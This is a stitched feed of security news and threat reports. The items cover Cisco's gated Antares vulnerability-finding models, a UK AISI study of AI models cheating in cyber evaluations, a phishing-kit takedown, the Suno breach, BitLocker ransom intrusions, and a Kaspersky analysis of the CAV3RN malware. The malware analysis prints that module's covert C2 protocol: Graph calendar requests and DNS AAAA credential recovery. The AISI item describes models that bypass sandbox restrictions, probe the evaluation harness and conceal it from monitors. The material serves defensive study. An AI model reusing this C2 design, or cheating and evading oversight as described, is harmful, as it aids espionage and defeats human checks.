Viry a Červi

Who needs expensive frontier models to find software vulns? Cisco has just released two open-weight models that specialize in finding known bugs in existing codebases. The models, Antares-350M and Antares-1B, are part of Cisco’s new Antares family of security small language models (SLMs), and are now available on Hugging Face - but only to vetted users. “We’re making sure we’re gating that and appropriately granting access,” DJ Sampath, Cisco's senior vice president and general manager of AI software and platform, told The Register. The company is working with academic and nonprofit organizations, as well as smaller and public organizations’ security teams, to ensure they have access to the vulnerability-hunting models. Plus, because both are small models designed to run locally, “you also need the keys to the source code” to scan for and find vulnerabilities, Sampath said. “This means an attacker is going to be able to exploit an endpoint or a service that you have.” It also means that proprietary code never leaves the organization’s machines, compared to cloud-based LLMs that send code to the AI providers’ external servers for processing and analysis. This enables security analysis in environments with strict privacy or compliance requirements, according to the networking and security giant. And yes, it's named after the massive red super-giant star. “It's almost 1,000 times bigger than the sun, even though the sun dominates the sky, and that is the analogy that we're using here for vulnerability detection and localization,” Cisco VP and chief AI scientist Amin Karbasi told The Register. “The impact of vulnerabilities in your codebase is huge, but it might be only a single file or a few lines of code in a million lines of code.” A future, 3-billion-parameter model in the Antares family won’t be released to the public, Karbasi added. “We are completely gating the 3B model to make sure that we responsibly release it to communities that need it,” he said. Small yet mighty Cisco claims that its models perform as well as or better than dozens of larger models in its new benchmark test that measures how efficiently AI models identify security flaws in codebases. Antares-1B outperforms Google’s Gemini 3 Pro and is comparable to Z.ai's GLM-5.2, we’re told, while the yet-to-be-released Antares-3B does a better job at finding vulnerabilities than GLM-5.2 and OpenAI’s GPT-5.5. Plus, we’re told that the small models scan code much faster and at a fraction of the cost of larger, token-gobbling AI systems. “If you look at the performance, in terms of the time it takes to finish 500 repositories, Antares finishes the entire cohort of repositories in 15 minutes, whereas frontier models take five hours,” Karbasi said, adding that this translates to significantly less cost. “It takes like less than $1 whereas frontier models are above $100 into $150 of cost,” he added. The difference, Karbasi explained, is that Cisco took a “fundamentally different approach” to building Antares. “These models have been trained in a very different way,” he said. “Antares is inherently not a chatbot. It is an investigator. It is a search engine. It has to find a very specific thing that might be a needle in a haystack, and it goes and finds that.” This required training the model on several different ways to search for vulnerabilities “because one way of search may not actually be fruitful, then it has to change its strategy, do it another way, and then do it another way,” Karbasi said. “Because it is very nimble and it’s very small, it can actually do a lot of search at the same time, which is very different from bigger models.” Karbasi likened it to a bicycle on a busy London street: “You can go much faster than the biggest truck.” Or, to use Sampath’s favorite analogy for the benefits of using a small, security-focused model to find bugs in code: “Sometimes you don't need a private jet to go to a corner store, right?”®

AI models will do just about anything to complete the task you ask, including cheating to get there, according to new cybersecurity evaluations from the UK government's AI Security Institute (AISI). The group found that leading models often take shortcuts to achieve a particular result and then misrepresent how they obtained that result. And they won't always admit it when asked. "Every model we have tested for this behaviour attempted to cheat," AISI said in a blog post on Tuesday. "Models did not reliably report this behaviour when asked, and often did not reason about it in their chain-of-thought, suggesting that detecting cheating will likely require robust monitoring methods." Infractions included searching the internet for the answer, bypassing sandbox network restrictions, probing the evaluation harness, attacking a system other than the target, and guessing an answer. Cheating in this manner – employing a workaround or gaming a reward function to score better on a benchmark test, for example – has been widely documented by machine learning researchers. It doesn't necessarily imply malicious intent, AISI said, but it's nonetheless troublesome because it can produce misleading assessments of model capabilities. When AISI conducted evaluated five leading models, it found that all of them cheated. The results were as follows: GPT-5.4 cheated 67 times in 475 test runs (14.1 percent). GPT-5.5 cheated 54 times in 475 test runs (11.4 percent). GPT-5.6-Sol cheated 60 times in 475 test runs (12.6 percent). Claude 4.7 Opus cheated 43 times in 475 test runs (9.1 percent). Claude Mythos Preview cheated 37 times in 475 test runs (7.8 percent). Asking models whether they cheated or did anything wrong proved an unreliable auditing mechanism because the models didn't always admit wrongdoing. "In our experiments, models did not consistently acknowledge attempted cheating when asked, and described it as wrong less than 50 percent of the time," said AISI. Existing vetting methods, such as self-reporting and chain-of-thought logs, proved similarly dicey because models don't always report their chain-of-thought. And there were instances where a model would consider whether a proposed action amounted to cheating and then decided to take the action anyway. Given the absence of reliable model cheating detection methods, AISI warns that its current approach – manual review coupled with LLM monitoring – may not be sufficient to catch deception, particularly as models become more sophisticated. "A more fundamental fix would be to train the models not to cheat in the first place – but given this kind of behaviour was reported in frontier models more than a year ago, robustly aligning it away may not be easy," AISI concludes. ®

German authorities say they have neutralized the main infrastructure supporting the Kratos phishing-as-a-service (PhaaS) kit following an operation supported by the US and Indonesia. Officers from Frankfurt am Main's Central Office for Combating Internet Crime (ZIT) and the Federal Criminal Police (BKA) described Kratos as one of the most widespread and dangerous PhaaS kits on the market. In Indonesia, authorities said they arrested the Kratos kit's alleged "developer and technical administrator." The announcement of Kratos's takedown did not mention whether any other individuals are being pursued. According to the ZIT and BKA, Kratos allowed low-skill cybercrims to harvest credentials, including passwords and session cookies, to bypass MFA by providing them with convincing Microsoft-themed phishing pages. Criminals using Kratos phishing pages targeted hundreds of thousands of victims across more than 30 countries, while the operation behind the kit allegedly earned more than €300,000 ($342,000) since 2024. More than 1,800 criminal enterprises are estimated to have used Kratos, which was responsible for around 15,000 phishing campaigns per month. "Each individual campaign had the potential to harm several thousand recipients worldwide," the German authorities said in a statement. The operation neutralized more than 200 servers, according to the ZIT and BKA, although the latter declined to explain how. Methods used in previous takedowns included handing legal warrants to infrastructure providers, such as Kratos's chosen hosting company, and working with ISPs to null-route or sinkhole traffic associated with suspect IP addresses. Dr Benjamin Krause, head of the ZIT at the Frankfurt am Main Public Prosecutor's Office, said, "Our approach of disruptive law enforcement works: In addition to the primary task of identifying and prosecuting the accused, we have once again succeeded in dismantling a criminal online service and thus contributing to greater cybersecurity." Carsten Meywirth, head of the cybercrime department at the BKA, added: "Anyone who steals login credentials online using fake websites shouldn't feel safe. The success against the Kratos phishing kit shows that even highly professional phishing infrastructures can be effectively combated. "This is pioneering work and a clear signal to other cyber actors – phishing will not go unpunished and will be consistently fought by the BKA." Many names, same focus German authorities referred to the PhaaS kit only as Kratos, although open source reporting has tied it to products previously sold under names such as SneakyLog and Sneaky 2FA. Similarly, the ZIT and BKA mentioned only fake Microsoft authentication pages among the templates offered by Kratos. Microsoft, meanwhile, reported earlier this year that SneakyLog had been used to generate phishing campaigns targeting US citizens with fake W-2 tax forms. As recently as July 16, security shops such as Heal Security reported that Kratos offered customers lures themed around various websites, including SharePoint, OneDrive, Microsoft Forms, Canva, Tilda, and more. KnowBe4 added Adobe lures to that list with its own investigation in February, which also raised uncertainty about when the kit first hit the market. Microsoft, which said Kratos was also known as SneakyLog, believes the latter entered the phishing kit market as of early 2025, although KnowBe4 said the first signs of Kratos only emerged in January 2026. Muddying the picture further, KnowBe4 did not mention SneakyLog or Sneaky 2FA as part of Kratos's past. The security shop said instead that it evolved from a previous life as a family of commercial trojans and infostealers. One thing that most open source reports agree on, however, is that the targets of the phishing kit's customers are based primarily in the US and Europe. Microsoft identified manufacturing, retail, and healthcare as the main target industries in the US, while in Europe, industrial organizations, law firms, polytechnic institutions, schools, SMBs, and others have all been attacked, according to ANY.RUN. ®

A data breach at AI music generator platform Suno exposed more than 55 million user accounts, according to Troy Hunt's Have I Been Pwned service, which ingested the files. The dump consisted mostly of email addresses, although phone numbers were also included where users had signed up with them instead, HIBP said. Tens of thousands of Stripe records further revealed data such as names, physical addresses, purchase amounts, as well as partial credit card data, such as card type, expiry date, and the last four digits of the card number. The breakdown from Have I Been Pwned puts a figure on the scale of Suno's data breach for the first time since the news of the slip-up broke last week. The individual who claimed responsibility for breaching Suno also supplied source code apparently dating from 2023 and 2024 that they said showed the company scraping millions of songs and lyrics from services including YouTube Music, Deezer, and Genius to train its AI. Suno has acknowledged training its AI on music available on the open internet, while arguing that doing so constitutes fair use. It did not immediately respond to The Register's request for comment. AI's imposition on the arts has been a persistent topic of ethical and moral debate for years. Major record labels came together to complain about mass data scraping and copyright infringement by AI companies prior to Suno's breach in November 2025. Record labels represented by the Recording Industry Association of America (RIAA) sued Suno and rival Udio in 2024 for allegedly scraping songs en masse without permission of the copyright holders. Among the plaintiffs in the case were Sony Music Entertainment, UMG Recordings, and Warner Records, which represent artists such as Bruce Springsteen, Beyoncé, Taylor Swift, and Dua Lipa. Warner has since settled its litigation with Suno and begun a commercial partnership with the AI company, while Sony and UMG are continuing their claims in court. ®

Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation of corporate printers. Attackers used the devices to notify organizations that their infrastructure had been compromised and they had to pay a ransom to recover their data.

This article analyzes two incidents that occurred in June in Colombia and in May in Mexico. We highlight the similarities in the attackers’ communications and outline emerging trends in ransom amounts.

Initial sign of an attack

In both cases, the affected users initially noticed a padlock icon next to their drives in Windows Explorer. This indicated that the drive was encrypted with BitLocker, blocking access to its contents.

Drive icon indicating that the drive is locked

A recovery key was required to unlock the drive.

Attempt to access the disk’s contents and the prompt for the BitLocker recovery key

This is not the first time we have seen such threats; a few years ago, our team discovered a threat known as ShrinkLocker, which utilized BitLocker to achieve its goals.

First case: abusing RDP to encrypt data

One of the incidents occurred in Colombia in June. The attackers exploited an internet-exposed RDP service on a machine connected to an 8 TB storage device containing mission-critical data. After taking control of the system and manipulating user credentials, the attackers enabled BitLocker exclusively on the drive that primarily stored financial data. Once the encryption was complete, they locked the drive and used the company’s printers to produce ransom notes.

Ransomware note

Unfortunately, it was not possible to obtain evidence in the case due to the company’s rush to restore the encrypted disk. The communication with the attackers revealed a demand for just $3,000, and the company considered paying the ransom. After that, the system was restored before the forensic team could take any action, eliminating the evidence needed to assess the incident.

Attacker’s reply to the victim’s email sent to the address in the printed ransom note

This attack was made possible by an internet-facing remote desktop service (RDP) with additional open ports, which employees used to access corporate information. By exploiting this network exposure and misconfiguration, attackers breached the system, identified an additional drive, and leveraged BitLocker to encrypt the data and demand a ransom payment. Leaving RDP ports open without proper security controls jeopardizes the security of systems and information, as highlighted in the our “Global Report: Anatomy of a Cyber World“.

Exposed ports identified in the system in recent months

The company confirmed that, due to compatibility issues with applications required for operation, EPP (Endpoint Protection Platform) protection was disabled on the system, making it easier for attackers to validate, enumerate, and execute applications without revealing malicious activity to central monitoring systems.

Second case: meet the XEntry Team

In another incident, which occurred in Mexico in May, our team identified how the threat actor gained initial access to the infrastructure. They exploited a misconfigured MSSQL service. This allowed them to execute commands on the system after obtaining the database login credentials from code insecurely published on GitHub.

XEntry team attack

In this incident, the attack began three months prior to detection, with the intruder discovering and verifying their access to the environment. After confirming their access and privilege level within the MSSQL server settings, which extended beyond the DBMS to the underlying operating system, the attackers initially focused on manipulating certain aspects of the web server configuration on the same system. They lowered the server’s security settings and created web shell files in the publicly accessible folders. Many of these attempts to manipulate the service or create malicious files were contained by existing EPP security controls, but despite the alerts, the necessary investigation to address the activity was not conducted.

Commands executed when attempting to manipulate the web server

The attackers subsequently confirmed their ability to execute commands locally and set up their attack infrastructure to transmit data via a communications bridge. By exploiting the MSSQL service, they gained access to each of the organization’s internal systems.

The database engine used by the company was Microsoft SQL Server 2019.0150.2160.04, misconfigured to allow operating system сommand execution via the xp_cmdshell extended stored procedure.

Due to this misconfiguration of an internet-exposed service, the attackers established a channel capable of executing any type of command directed at the server and the local infrastructure within its scope.

Attack path

One of the main objectives was to identify shared systems and resources that provided access to critical information. Our analysis confirmed the attackers’ access to systems storing configuration parameters for networking, enterprise management, and cloud services, among others.

A subset of the critical information identified and collected by the attackers

In early May, the attackers focused on running additional scans and deploying ManageEngine’s Endpoint Central RMM (Remote Monitoring and Management) to establish persistence and begin the final stages of their intrusion.

Scanning and RMM deployment

Further RMM-type applications, such as Mesh Agent and Tactical RMM, were installed in the days that followed. These were used to deploy scheduled tasks responsible for enabling the BitLocker service and individually encrypting the infrastructure’s disks, generating a key for each encrypted system.

Commands executed through RMM tools to collect Bitlocker keys

Finally, in mid-May, the attackers managed to execute a Group Policy Object (GPO) used to deploy activation and encryption tasks, as well as other policies responsible for continued deployment of RMM applications via scheduled tasks. The activity initially targeted critical systems but later spread to every system synchronized with the domain controller. Users became aware of the attack when their machines displayed a blue screen with the message “Hacked by XEntry Team”, and their credentials stopped working to access their systems.

A few hours later, ransom notes began emerging from office printers.

Ransom note printed by the XEntry team

These cases confirm that adversary’s objective is to gain access to infrastructure while avoiding investment in or partnership with ransomware groups. Instead, they leverage built-in Microsoft tools to facilitate data encryption and ransom payments. Monitoring and centralizing logs on protected resources, as well as promptly managing alerts, are critical to countering this type of intrusion.

Conclusions

• Although the systems under review had security measures in place, there was a lack of proper alert management or inadequate decisions regarding application incompatibilities.
• We strongly recommend configuring the Remote Desktop Protocol (RDP) in strict accordance with cybersecurity best practices to prevent unauthorized access. This is especially critical: according to our Global Report: Anatomy of a Cyber World, more than 13% of incidents are related to policy violations and configuration errors, confirming that misconfigurations continue to pose a significant risk.
• Organizations should prioritize strict application control policies and active monitoring of network traffic for command-and-control (C2) communications. This is especially critical: according to the same report, more than 20% of incidents involved the abuse of RMM (Remote Monitoring and Management) tools for execution and C2 strategies. The fact that attackers used more than three distinct tools to gain control during a single incident further underscores the urgent need for these measures.
• Some questions remain unanswered due to a lack of evidence and a hasty system restoration effort that bypassed critical stages of the incident response process. It is important to ensure an adequate incident response procedure, preserving evidence to confirm all related activities, and adjusting or proposing controls to prevent future incidents involving similar TTPs.
• Although the ransom notes do not reveal a clear connection between the actors, certain words used in the messages, as well as the method of delivery and communication, may confirm a link:

“As a guarantee, we have no negative online reviews about non-fulfillment of our obligations…” (Ransom note from the first case)

“Our reputation is the guarantee that all content will be fulfilled…” (Ransom note from the second case)

Our teams continue to monitor these threats.

Detection signatures

• Trojan.Multi.Agent.gen
• Trojan.Win32.GenAutorunMsSqlServerCommandRun.a
• Trojan.Win32.Generic
• Exploit.Win32.SCShell.a

Fortinet on Tuesday revealed it will use Intel Foundry to fab its sixth-gen Security Processor (SP6), a nice win for Chipzilla's sputtering chipmaking biz. The chips feature dedicated accelerators designed specifically for the security and cryptographic operations required by modern hardware firewalls. The custom chips are one of Fortinet's defining features. Many cybersecurity hardware players build appliances around commodity hardware like x86 and Arm CPUs, but Fortinet prefers custom application-specific integrated circuits (ASICs). The two companies haven't said when the chips will enter production, much less what the SP6's speeds and feeds will entail, though we imagine it'll have a bit more pep than Fortinet's SP5 chips. The SP5 launched in 2023 and boasted support for layer 7 firewalling and IPsec VPN connectivity at speeds exceeding 30 Gbps. Throughput fell when advanced threat protection or SSL inspection was enabled, but Fortinet still claimed a speedy 4.3 Gbps and 3.3 Gbps, respectively. As you might have already figured out, Fortinet's SP line is designed primarily for smaller appliances like SD-WAN gateways, rather than larger datacenter-centric appliances built around its beefier NP and CP-series parts. While Intel couldn't offer much detail on the chip itself, we're told it will use the older Intel 4 process node rather than the leading-edge 18A process tech. Chipzilla also suggested Fortinet will draw on its experience in disaggregated semiconductor design and advanced packaging, which could mean a chiplet architecture with greater scalability. With so little detail, we can only speculate. Intel declined to say which technologies beyond Intel 4 the chip will use. The x86 giant also declined to comment on the availability of the product, noting only that "details regarding the Fortinet Security Processor 6 availability will be announced at a later date." While SP6 won't use the latest chipmaking tech, it will be built in an American fab by an American company, offering a level of supply chain security that remains difficult to find. If you want even remotely leading-edge silicon, Intel, Samsung, and TSMC are your only options. US-based production can still mean settling for a less advanced process, although TSMC's first Arizona fab has already begun churning out 4 nm silicon and Samsung aims to bring its new Texas plant online this year. Fortinet would not be the first to enlist Intel's manufacturing might for sensitive workloads. Under DARPA's HIVE program, the chipmaker built an eight-core, 528-thread processor with 1 TB/s silicon-photonics interconnects specifically to accelerate graph analytics workloads. But it doesn't stop at the DoD. Supply chain security is something Intel has leaned into as it has sought to reinvent itself from an integrated device manufacturer serving mainly itself, and occasionally the US government, into a full-fledged foundry ready to compete with Samsung and, ultimately, TSMC. In mid-2024, Uncle Sam awarded Intel $3 billion to establish a secure enclave for manufacturing chips for government agencies. Since then, the US government has taken a 9.9 percent stake in the American chip biz. ®

Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026 we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

Module network communication architecture

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

Project CAV3RN architecture (April 2026)

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.

get_;;_<agent-id>_,_<legacy-url> send_;;_<agent-id>_,_<legacy-url>_,_<result>

The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:

{ "TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID "ClientId": "********-****-****-****-************", // application/client ID "ClientSecret": "********************************************", "UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox "Host": "cloudlanecdn[.]com", // DNS bootstrap domain "PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key "PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key }

Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to  https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:

POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token client_id=<ClientId> client_secret=<ClientSecret> scope=https://graph.microsoft.com/.default grant_type=client_credentials

After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Subject format Purpose Module behavior Event ID: <agent-id> Operator-to-agent command Searches for the event, downloads its attachments, and deletes it after consumption Boss update ID: <agent-id>1500 Agent heartbeat Deletes the previous heartbeat event and creates a replacement Boss Report ID: <agent-id>1500 Agent-to-operator command output Creates an event, uploads encrypted result attachments, and assigns the final subject Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:

GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')

If Graph returns one or more matches, the module selects the first returned event and requests its attachments:

GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments Authorization: Bearer <access-token>

After obtaining the attachment response, the module deletes the calendar event:

DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId> Authorization: Bearer <access-token>

Our analysis found a consistent difference in capitalization between command and result attachments:

Attachment name Direction Associated subject file0.txt Operator to agent Event ID: <agent-id> File0.txt Agent to operator Boss Report ID: <agent-id>1500 Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

Encrypted attachment stored in a calendar event

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

Decrypted command

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:

POST /v1.0/users/***@*********.co.il/calendar/events POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments PATCH /v1.0/users/***@*********.co.il/events/<EventId>

Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:

GET /v1.0/users/***@*********.co.il/calendarView DELETE /v1.0/users/***@*********.co.il/events/<EventId> POST /v1.0/users/***@*********.co.il/events

Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.

PATCH /v1.0/users/***@*********.co.il/events/<EventId> Authorization: Bearer <access-token> { "subject": "Boss update ID: <agent-id>1500" }

Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

DNS-based configuration recovery (simplified)

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Index Configuration value 0 TenantId 1 ClientId 2 ClientSecret 3 UserEmail Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

For example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:

d.53466D4C67515A.0.p.cloudlanecdn[.]com

The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

IPv6 AAAA record payload layout for obtaining length

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Field length encoding in DNS AAAA record responses (example)

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

TenantId retrieval process via DNS AAAA records (example)

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypotheses because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Domain IP First seen ASN Hosting ns1.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205 May 2, 2026 AS 14956 RouterHosting LLC ns2.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205 May 2, 2026 AS 14956 RouterHosting LLC ns3.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205 May 2, 2026 AS 14956 RouterHosting LLC ns4.cloudlanecdn[.]com 144.172.108[.]205 May 21, 2026 AS 14956 RouterHosting LLC

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
